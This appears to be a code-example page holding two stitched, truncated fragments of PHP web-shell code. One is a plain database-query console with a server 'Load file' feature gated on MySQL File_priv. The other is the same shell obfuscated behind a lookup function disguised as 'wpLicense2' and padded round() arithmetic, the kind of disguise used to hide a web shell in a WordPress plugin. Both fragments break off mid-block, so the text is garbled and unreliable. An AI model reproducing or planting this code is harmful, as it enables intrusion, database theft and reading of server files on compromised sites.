Esempio n. 1
0
                     $line = 2;
                 }
                 echo '<tr class="l' . $line . '">';
                 $line = $line == 1 ? 2 : 1;
                 foreach ($▟ as $key => $value) {
                     if ($value == null) {
                         echo '<td><i>null</i></td>';
                     } else {
                         echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                     }
                 }
                 echo '</tr>';
             }
             echo '</table>';
         } else {
             echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
         }
     }
     echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
     if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
         echo htmlspecialchars($_POST['p2']);
     }
     echo "</textarea><br/><input type=submit value='Execute'>";
     echo "</td></tr>";
 }
 echo "</table></form><br/>";
 if ($_POST['type'] == 'mysql') {
     $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
     if ($db->fetch()) {
         echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
     }
								echo  wpLicense2(1343);
								$line = round(0+1+1);
							}
							echo  wpLicense2(1344).$line. wpLicense2(1345);
							$line = $line==round(0+0.25+0.25+0.25+0.25)?round(0+0.666666666667+0.666666666667+0.666666666667):round(0+0.333333333333+0.333333333333+0.333333333333);
							foreach($item as $key => $value) {
								if($value == null)
									echo  wpLicense2(1346);
								else
									echo  wpLicense2(1347).nl2br(htmlspecialchars($value)). wpLicense2(1348);
							}
							echo  wpLicense2(1349);
						}
						echo  wpLicense2(1350);
					} else {
						echo  wpLicense2(1351).htmlspecialchars($db->error()). wpLicense2(1352);
					}
				}
				echo  wpLicense2(1353);
                if(!empty($_POST[ wpLicense2(1354)]) && ($_POST[ wpLicense2(1355)] !=  wpLicense2(1356)))
                    echo htmlspecialchars($_POST[ wpLicense2(1357)]);
                echo  wpLicense2(1358);
				echo  wpLicense2(1359);
			}
			echo  wpLicense2(1360);
            if($_POST[ wpLicense2(1361)]== wpLicense2(1362)) {
                $db->query( wpLicense2(1363));
                if($db->fetch())
                    echo  wpLicense2(1364);
            }
			if(@$_POST[ wpLicense2(1365)] ==  wpLicense2(1366)) {